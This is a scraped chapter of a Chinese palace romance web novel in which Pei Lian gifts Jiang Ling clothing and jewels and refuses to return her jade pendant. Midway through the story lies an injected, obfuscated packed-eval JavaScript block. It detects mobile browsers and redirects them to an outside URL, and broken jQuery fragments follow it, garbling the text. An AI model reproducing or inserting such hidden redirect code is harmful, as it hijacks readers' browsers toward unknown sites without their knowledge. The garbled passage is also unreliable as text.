默认冷灰
24号文字
方正启体

26. 不属于你

作者:八月寒酥本书字数:K更新时间:
    天日渐暖,早晚却也寒凉,因而天极殿中依旧燃着地龙。


    裴敛只身着一件银鱼色单衣,可姜泠却穿着冬日短袍,现下在这天极殿站着,竟有些发汗。


    姜泠抬手擦了擦鼻尖。


    裴敛沉默许久才答道:“你不是说上景国师许润声是个大才,本王爱才,有心将他收入麾下。”


    他站起身,朝着姜泠迈了几步,接着说道:“但本王的人却没在上景宫城中寻到他,他的府邸更是人去楼空,所以本王不得不从上景宫中寻了许润声的画像来,待你看过后,本王才好派人去寻。”


    说话间,他已走至姜泠身前。


    姜泠垂着头,看着身前那双乌色锦靴,屈膝又行一礼:“王爷高义。”


    裴敛所言她不敢信,但若是裴敛此番能信她所言,许润声应当能无事。


    倘若许润声的画像当真是从上景宫中取来的,却非许润声的模样,应当也是他的人从中做了手脚。


    毕竟上景国师也绝非坐以待毙之人。


    裴敛没在此话上深究,转而朝外唤了声朱言。


    朱言闻声走了进来,却非他一人,身后还带着两个侍女。


    侍女手中皆端着漆盘,连眼都不敢抬,只规矩地在朱言身后站定。


    “王爷,都备好了。”朱言回禀。


    裴敛颔首,转向姜泠说道:“给你的。”


    她看向漆盘所呈之物。


    为方便她瞧得清楚,朱言命侍女站得更近了些,顺手将一面漆盘上放着的锦盒打开来。


    只见一方托盘上放着几件衣裳,瞧着花色便是女子春日所穿的衣物。另一方漆盘中托着个锦盒,锦盒中纳着各式金银玉饰。发簪、耳铛、项圈、镯子,一应皆有。


    而锦盒旁,还放了以玉雕琢而成的万福牌。


    “这些都是给我的?”姜泠有些不确定地问道。


    此前她找裴敛要回自己的东西,裴敛千推万阻,如今却这般大方,一口气给她这么多东西,实在有些反常。


    裴敛背着手,反问道:“不想要吗?”


    “可王爷为何要送我这些?”


    “你日日穿着宫奴的衣裳,旁人还以为本王苛待于你。”


    姜泠这才去瞧自己身上的衣裳。


    这是之前秋杏去内侍省取来的,因为裴敛也并未特意叮嘱过,内侍省琢磨了半天,才拿了几件宫奴衣裳给秋杏。


    她见了裴敛三回,回回都穿得这身。


    正思索着,又听裴敛说道:“若是如此,谈何协作?”


    姜泠顿生欣喜,扬唇轻问:“王爷这是答应了?”


    她柳眉微弯,笑颜如画,如春生一指,点化冬日冰寒。


    那抹罕见的笑意似有些晃眼,裴敛别开脸道:“于本王有利之事,答应有何奇怪?”


    姜泠喜出望外,却又怕他过后出尔反尔,忙追说道:“王爷一言九鼎,今日朱常侍也在此听着的,可不兴反悔。”


    被忽然唤到名字的朱言有些茫然,看向裴敛,见他不着痕迹地朝着自己点点头,才躬着身子应声:“是,是,王爷一言九鼎,允诺您的事情自然不会反悔。”


    朱言并不知晓二人达成了什么约定,但瞧上去倒是件好事。


    姜泠的喜悦溢于言表,就连成日不苟言笑的裴敛也正摁着后脖,仰面轻笑。


    虽说那笑意不深,淡到旁人难以察觉,但朱言在这天极殿呆了几十年早已练就一双火眼金睛,最善察言观色。


    他们这些做奴才的,为的不就是讨主子高兴吗?


    见主子欢喜,朱言笑意更浓。


    而裴敛又补了一句:“你放心,你若守约,本王自不会出尔反尔。只要你所求之物无害于家国与朝臣百姓,本王有求必应。若是本王无端反悔……”


    他望向姜泠,那素色衣领之下净白如雪,往日伤痕已几乎消散。


    “若本王反悔,就让你把从前受的辱,受的刑,尽数还回本王身上。”


    声音清凌凌如玉石相叩,铿锵有力。


    朱言大惊,惶恐不安地看了姜泠一眼,而后仓促埋下头去。


    这可是未来圣上,受的是四海朝拜,谁人若是言语上对其不敬都能掉层皮,何人敢责打他?


    虽说天子犯法与庶民同罪,可即便辜负一人之约,也属实算不上什么罪,根本无需许下如此重诺。


    姜泠同样惊讶,可到底还是因着此话安心不少。


    裴敛自负清高,睥睨众生,如何会当真让谁对他用刑?他能说此话,便是认定了自己不会食言,其实于她而言是极好之事。


    “姜泠信王爷所言,必不会辜负王爷。”


    裴敛颔首,视线转而落在漆盘托着的那只万福牌上。


    姜泠跟着看了过去,走上前将玉福牌握在手中,玉质起初冰凉,染上她手心热气,也渐渐变得温润。


    将玉福牌翻来覆去看了几回,她疑惑道:“这不似女子的东西。”


    “确实不是。”


    裴敛凝着玉福牌,眸光再度冷却下来:“不喜欢吗?”


    “王爷所赠,怎会不喜?”她笑得真诚,将玉福牌放回托盘之中,转而去瞧其他物件,对这玉福牌并不大在意。


    她到底是个女子,便是爬过泥坑,踏过黄沙,却也会为世俗之物驻足。


    身在尘世,修不了无欲之道,更何况是她从未触及过的华丽。


    她拿起一只双蝶描金翡翠银簪,抬手置于光亮之处。翡翠蝶翅在日光的照耀下发出翠绿色的荧光,边缘折射出淡金色绒边,那玉石之中仿佛藏着另外一方天地,异彩夺目,光怪陆离。


    想起自己在上景宫中小心翼翼藏匿的那些几乎已经乌黑的银饰,忽觉好笑。


    她费尽心思争取的,不如旁人随手施舍之物。但她不是伤春悲秋之人,更不会为了内心那点稀薄的自尊而拒绝裴敛的好意。


    有朝一日待她出宫,终究需要些傍身之物。如今拿不回许润声的玉佩,她也该设法攒些其他值钱之物。


    想到此处,她神色骤然一滞。


    “不过……”


    她放下手中蝶钗,又拿起那只玉福牌,递到裴敛面前:“这福牌……”


    “如何?”裴敛眉梢挑起,眸色微沉。


    姜泠涩然一笑,忽然吞吞吐吐起来:“这玉福牌既然是给我的,我却……不是很喜欢。那能不能,换个别的物件?”


    “比如?”


    “比如……之前你从我这里拿走的那枚玉佩?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500086|170302||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姜泠将头埋了下去,闭眼等着裴敛答复。


    她自然知晓自己此举冒然,但她还是想试试,能否拿回许润声的玉佩。


    只是她垂着头,瞧不见裴敛的神色,她被凝成一片小影,囊于裴敛的墨色瞳仁之中。


    不悦之中,藏着不易察觉的失望。


    裴敛握紧负于身后的手,压抑着胸中翻涌的无名乱火:“你莫不是忘了,那玉佩早就被本王给摔碎了。”


    “是,我知道,但即便是碎了,我也想要。”姜泠直愣愣地看着他,眼中渴望昭彰,丝毫不加掩饰。


    “那玉佩于你而言就这般重要?”


    “是。”


    姜泠下意识点头,却在触及裴敛目光后,猝然摇头摆手:“我不是那个意思。”


    当初在私宅之中时,裴敛就因此说过她与许润声有染,更是给她冠上水性杨花的名头。如今她再开口要回玉佩,倒像是自行坐实此事。


    如若是并无特殊意义的玉佩,她又何苦锲而不舍地去求?


    可她无法与裴敛解释她与许润声的关系,旁人无法理解,她多说便是多错。


    当即有些后悔,但话已落地,看裴敛那面色铁青的模样,她也只得说道:“只是我念旧,这玉佩我带了许久,一时有些舍不得罢了。”


    她睫羽轻颤,声音弱了下去:“若王爷觉得不妥,就当我不曾开过这口。”


    “知道不妥,往后就不要再让本王听到此话。那玉佩不属于你,你不该要。”裴敛当即接过话,堵得姜泠哑口无言。


    说罢,裴敛转过身走回金龙长案后,挥袖吩咐:“行了,都出去。”


    言语之中尽是不满,若非与裴敛已说定协作一事,姜泠觉得裴敛应当都想降罪于她了。


    只是她不明白,不过一个玉佩,为何裴敛倒比她还在意?难道那玉佩有何特别之处?可若是有特别之处,许润声交予她时应当也会特意嘱咐,怎会让她将玉佩卖掉以谋生?


    弯弯绕绕比这宫中回廊曲道还要复杂,她便又在心中默念一回裴敛此人心思莫测。


    “王爷事忙,您请吧。”朱言见她站在原地出神,只好低声提醒道。


    姜泠颔首,道了句“有劳朱常侍”,便与托着漆盘的侍女往她住处行去。


    午时正阳,洒在殿内的光亮悄然退了出去,落在殿外白玉阶上,莹光大作,仿若一汪玉泉。


    裴敛再抬眼时,殿中已无旁人,寂静无声,本该令人心神安宁,可他却依旧意乱。


    一股不可遏制的窝火在四肢百骸中游走,却究不出源头来。他索性端起案上冷茶,仰头而尽。


    可冷茶入喉,仿佛闻到一股淡香,他低头一看,就见手中茶杯竟是方才姜泠抿过的那只。


    而他那一只,正静静地卧在他手边。


    耳后倏尔席来一阵燥热,他凝了手中茶杯几息,刻意将其放远了些,状若无事地随手捡了本公文看了起来。


    只是那公文上密密麻麻的小字,却仿佛蚊蝇一般,惹他厌烦,难以入眼。


    不一会儿,朱言送走了人折返回来,小心问道:“王爷,可要传午膳了?”


    他只得收神敛思,放下公文,沉吟片刻后说道:“不必,传寒鸦来。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)